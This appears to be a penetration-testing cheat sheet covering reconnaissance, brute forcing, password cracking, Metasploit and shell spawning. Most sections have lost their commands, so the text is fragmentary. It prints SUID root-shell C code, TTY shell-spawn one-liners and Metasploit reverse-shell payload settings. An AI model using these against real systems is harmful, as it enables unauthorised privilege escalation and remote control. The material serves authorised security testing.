Awesome

Penetration Testing Cheat Sheet 🕵️‍♂️

Welcome to the Penetration Testing Cheat Sheet! This comprehensive guide provides quick references, commands, and techniques for various aspects of penetration testing. Whether you're a beginner or an experienced pentester, this cheat sheet has got you covered.

:mag: Recon and Enumeration

Explore tools and methods for reconnaissance and enumeration to gather valuable information about your target.

• NMAP Commands
• SMB Enumeration
• Other Host Discovery Methods

:computer: Python Local Web Server

Set up a Python local web server for various purposes, including hosting payloads and files.

• Python Local Web Server

:file_folder: Mounting File Shares

Learn how to mount file shares for easy access and interaction.

• Mounting File Shares

:point_right: Basic FingerPrinting

Understand basic fingerprinting techniques to gather information about target systems.

• Basic FingerPrinting

:satellite: SNMP Enumeration

Discover SNMP services and gather information using SNMP enumeration.

• SNMP Enumeration

:globe_with_meridians: DNS Zone Transfers

Perform DNS zone transfers to gather information about DNS records.

• DNS Zone Transfers

:mag_right: DNSRecon

Utilize DNSRecon for efficient DNS information gathering.

• DNSRecon

:globe_with_meridians: HTTP / HTTPS Webserver Enumeration

Learn how to enumerate information from HTTP/HTTPS webservers.

• HTTP / HTTPS Webserver Enumeration

:traffic_light: Packet Inspection

Inspect network packets and analyze traffic for security assessment.

• Packet Inspection

:busts_in_silhouette: Username Enumeration

Enumerate usernames through SMB and SNMP services.

• SMB User Enumeration
• SNMP User Enumeration

:key: Passwords

Explore wordlists and resources for password-related tasks.

• Wordlists

:shield: Brute Forcing Services

Learn about Hydra and its capabilities for brute forcing various services.

• Hydra

:lock: Password Cracking

Explore password cracking tools and techniques.

• John The Ripper - JTR
• Hashcat

:mag_right: Exploit Research

Discover techniques and resources for researching and identifying exploits.

• Exploit Research

:wrench: Compiling Exploits

Learn how to identify and compile exploits for various systems.

• Identifying if C code is for Windows or Linux
• Build Exploit GCC
• GCC Compile 32Bit Exploit on 64Bit Kali
• Compile Windows .exe on Linux

:key: SUID Binary

Understand SUID binaries and their role in privilege escalation.

• SUID C Shell for /bin/bash
• SUID C Shell for /bin/sh
• Building the SUID Shell binary

:shell: TTY Shells

Spawn TTY shells for various programming languages.

• Python TTY Shell Trick
• Spawn Interactive sh shell
• Spawn Perl TTY Shell
• Spawn Ruby TTY Shell
• Spawn Lua TTY Shell
• Spawn TTY Shell from Vi
• Spawn TTY Shell from NMAP
• Spawn TTY Shell from awk
• Spawn TTY Shell from socat

:space_invader: Metasploit

Explore Metasploit and its functionalities.

• Meterpreter Payloads
• Meterpreter Cheat Sheet
• Common Metasploit Modules

:repeat: Networking

Understand networking concepts for penetration testing.

• TTL Fingerprinting

:globe_with_meridians: IPv4

Learn about IPv4 addressing and subnets.

• Classful IP Ranges
• IPv4 Private Address Ranges
• IPv4 Subnet Cheat Sheet

:1234: ASCII Table Cheat Sheet

Quickly reference ASCII values and characters.

• ASCII Table Cheat Sheet

:satellite: Cisco IOS Commands

Explore common Cisco IOS commands for network assessment.

• Cisco IOS Commands

🕵️ Recon and Enumeration

🌐 NMAP Commands

Nmap (“Network Mapper”) is a free and open-source utility for network discovery and security auditing. It's a versatile tool used by both systems and network administrators for tasks like network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X.

📂 SMB Enumeration

In computer networking, Server Message Block (SMB) operates as an application-layer network protocol mainly used for providing shared access to files, printers, and serial ports.

🌐 Other Host Discovery Methods

Other methods of host discovery that don’t use Nmap.

🐍 Python Local Web Server

Python local web server command, handy for serving up shells and exploits on an attacking machine.

🗄️ Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

🕵️ Basic FingerPrinting

A device fingerprint or machine fingerprint or browser fingerprint is information collected about a remote computing device for the purpose of identification.

📡 SNMP Enumeration

SNMP enumeration is the process of using SNMP to enumerate user accounts on a target system.

🌐 DNS Zone Transfers

📡 DNSRecon

DNSRecon provides the ability to perform various DNS enumeration tasks.

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

🌐 HTTP / HTTPS Webserver Enumeration

📦 Packet Inspection

👤 Username Enumeration

SMB User Enumeration

SNMP User Enumeration

🔒 Passwords

Wordlists

🛠️ Brute Forcing Services

Hydra

FTP Brute Force

POP3 Brute Force

SMTP Brute Force

SSH Brute Force

Use -t to limit concurrent connections, example: -t 15

🔐 Password Cracking

John The Ripper – JTR

Hashcat

Exploit Research

Compiling Exploits

Identifying if C code is for Windows or Linux

Build Exploit GCC

GCC Compile 32Bit Exploit on 64Bit Kali

Compile Windows .exe on Linux

SUID Binary

SUID C Shell for /bin/bash

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}

SUID C Shell for /bin/sh

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}

Building the SUID Shell binary

TTY Shells

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

perl -e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

ruby -e 'exec "/bin/sh"'

Spawn Lua TTY Shell

lua -e 'os.execute("/bin/sh")'

Spawn TTY Shell from Vi

:!bash

Spawn TTY Shell from NMAP

!sh

Spawn TTY Shell from awk

awk 'BEGIN {system("/bin/sh")}'

Spawn TTY Shell from socat

socat file:tty,raw,echo=0 tcp-listen:4444

Metasploit

Meterpreter Payloads

Windows reverse meterpreter payload

set payload windows/meterpreter/reverse_tcp

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp

set ViewOnly false

Linux Reverse Meterpreter payload

set payload linux/meterpreter/reverse_tcp

Android Reverse Meterpreter payload

set payload android/meterpreter/reverse_tcp

Meterpreter Cheat Sheet

:computer: Common Metasploit Modules

:closed_lock_with_key: Remote Windows Metasploit Modules (exploits)

:key: Local Windows Metasploit Modules (exploits)

:mag: Auxilary Metasploit Modules

:shell: Metasploit Powershell Modules

:wrench: Post Exploit Windows Metasploit Modules

:satellite: Networking

:signal_strength: TTL Fingerprinting

IPv4 :earth_americas:

Classful IP Ranges :chart_with_upwards_trend:

Note: Class A, B, C are deprecated

IPv4 Private Address Ranges :lock:

IPv4 Subnet Cheat Sheet :memo:

ASCII Table Cheat Sheet :keyboard:

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

Cisco IOS Commands :computer:

Cryptography :lock:

Hash Lengths

Hash Examples

SQLMap Examples :bug: